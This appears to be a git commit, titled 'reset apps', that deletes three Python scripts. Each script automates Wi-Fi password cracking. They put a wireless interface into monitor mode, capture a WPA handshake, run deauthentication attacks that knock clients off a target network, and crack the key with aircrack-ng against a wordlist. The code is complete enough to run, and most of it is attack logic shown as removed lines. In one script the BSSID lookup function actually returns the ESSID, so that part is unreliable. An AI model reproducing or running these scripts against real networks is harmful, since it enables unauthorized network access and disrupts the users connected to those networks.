reset apps

This commit is contained in:
David Westgate 2024-05-30 14:36:40 -07:00
parent b4933a8cc6
commit 98312c9418
3 changed files with 0 additions and 196 deletions

View File

@ -1,58 +0,0 @@
import subprocess
import threading
def run_command(command):
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
output, error = process.communicate()
return output.decode('utf-8'), error.decode('utf-8')
def change_mode(interface, mode):
run_command(f"sudo ifconfig {interface} down")
run_command(f"sudo iwconfig {interface} mode {mode}")
run_command(f"sudo ifconfig {interface} up")
def start_monitor_mode(interface):
change_mode(interface, "monitor")
def stop_monitor_mode(interface):
change_mode(interface, "managed")
def crack_password(cap_file, wordlist, bssid):
command = f"sudo aircrack-ng -w {wordlist} -b {bssid} {cap_file}"
output, error = run_command(command)
if "KEY FOUND!" in output:
return output.split("KEY FOUND! [ ")[1].split(" ]")[0]
else:
return None
def main():
interface = "wlan0"
bssid = input("Enter the BSSID of the target network: ")
wordlist = "rockyou.txt"
cap_file = "capture.cap"
print("[*] Enabling monitor mode...")
start_monitor_mode(interface)
print("[*] Starting packet capture...")
capture_thread = threading.Thread(target=run_command, args=(f"sudo airodump-ng -w {cap_file} --bssid {bssid} {interface}",))
capture_thread.start()
print("[*] Performing deauthentication attack...")
run_command(f"sudo aireplay-ng -0 10 -a {bssid} {interface}")
capture_thread.join(timeout=60)
print("[*] Cracking password...")
password = crack_password(f"{cap_file}-01.cap", wordlist, bssid)
print("[*] Disabling monitor mode...")
stop_monitor_mode(interface)
if password:
print(f"[+] Password found: {password}")
else:
print("[-] Password not found.")
if __name__ == "__main__":
main()

View File

@ -1,71 +0,0 @@
import subprocess
import re
import time
def change_to_monitor_mode(interface: str) -> None:
"""
Change the given interface to monitor mode.
"""
subprocess.run(["sudo", "airmon-ng", "start", interface])
def change_to_managed_mode(interface: str) -> None:
"""
Change the given interface to managed mode.
"""
subprocess.run(["sudo", "airmon-ng", "stop", interface])
def get_bssid(essid: str) -> str:
"""
Get the BSSID of the given ESSID.
"""
process = subprocess.Popen(["sudo", "iwconfig"], stdout=subprocess.PIPE)
output, error = process.communicate()
output = output.decode("utf-8")
match = re.search(r"ESSID:\"({})\"".format(essid), output)
if match:
return match.group(1)
else:
return None
def capture_handshake(bssid: str, interface: str) -> None:
"""
Capture the handshake of the given BSSID.
"""
subprocess.Popen(["sudo", "airodump-ng", "--bssid", bssid, "--channel", "6", "-w", "capture", interface], stdout=subprocess.PIPE)
time.sleep(5)
subprocess.run(["sudo", "aireplay-ng", "--deauth", "0", "-a", bssid, interface])
time.sleep(10)
subprocess.run(["sudo", "killall", "airodump-ng"])
def crack_handshake(capture_file: str, wordlist: str) -> str:
"""
Crack the handshake in the given capture file.
"""
process = subprocess.Popen(["sudo", "aircrack-ng", "-w", wordlist, capture_file], stdout=subprocess.PIPE)
output, error = process.communicate()
output = output.decode("utf-8")
match = re.search(r"KEY FOUND! \[(.*)\]", output)
if match:
return match.group(1)
else:
return None
if __name__ == "__main__":
essid = input("Enter the ESSID: ")
interface = input("Enter the interface: ")
wordlist = input("Enter the path to the wordlist: ")
change_to_monitor_mode(interface)
bssid = get_bssid(essid)
if bssid:
print(f"BSSID: {bssid}")
capture_handshake(bssid, interface)
password = crack_handshake("capture-01.cap", wordlist)
if password:
print(f"Password: {password}")
else:
print("Password not found.")
else:
print("ESSID not found.")
change_to_managed_mode(interface)

View File

@ -1,67 +0,0 @@
import os
import subprocess
import threading
def run_command(command):
"""Run a shell command with sudo and return the output."""
result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
return result.stdout
def change_mode(interface, mode):
"""Change the mode of the wifi interface."""
run_command(['ifconfig', interface, 'down'])
run_command(['iwconfig', interface, 'mode', mode])
run_command(['ifconfig', interface, 'up'])
def start_monitor_mode(interface):
"""Start monitor mode on the specified interface."""
run_command(['airmon-ng', 'start', interface])
def stop_monitor_mode(interface):
"""Stop monitor mode on the specified interface."""
run_command(['airmon-ng', 'stop', interface])
def capture_handshake(interface, bssid, channel):
"""Capture the handshake for the specified BSSID."""
run_command(['airodump-ng', '--bssid', bssid, '--channel', channel, '-w', 'capture', interface])
def deauthenticate(interface, bssid, client):
"""Deauthenticate a client to capture the handshake."""
run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface])
def crack_password(cap_file, wordlist, bssid):
"""Crack the password using aircrack-ng."""
result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
return result
def main():
interface = input("Enter the name of your wifi interface: ")
bssid = input("Enter the BSSID of the target network: ")
channel = input("Enter the channel of the target network: ")
wordlist = input("Enter the path to your wordlist: ")
# Change to monitor mode
change_mode(interface, 'monitor')
start_monitor_mode(interface)
# Capture handshake
capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel))
capture_thread.start()
# Deauthenticate clients
deauth_thread = threading.Thread(target=deauthenticate, args=(interface, bssid, 'FF:FF:FF:FF:FF:FF'))
deauth_thread.start()
capture_thread.join()
deauth_thread.join()
# Crack password
password = crack_password('capture-01.cap', wordlist, bssid)
print(f"The password is: {password}")
# Change back to managed mode
stop_monitor_mode(interface)
change_mode(interface, 'managed')
if __name__ == "__main__":
main()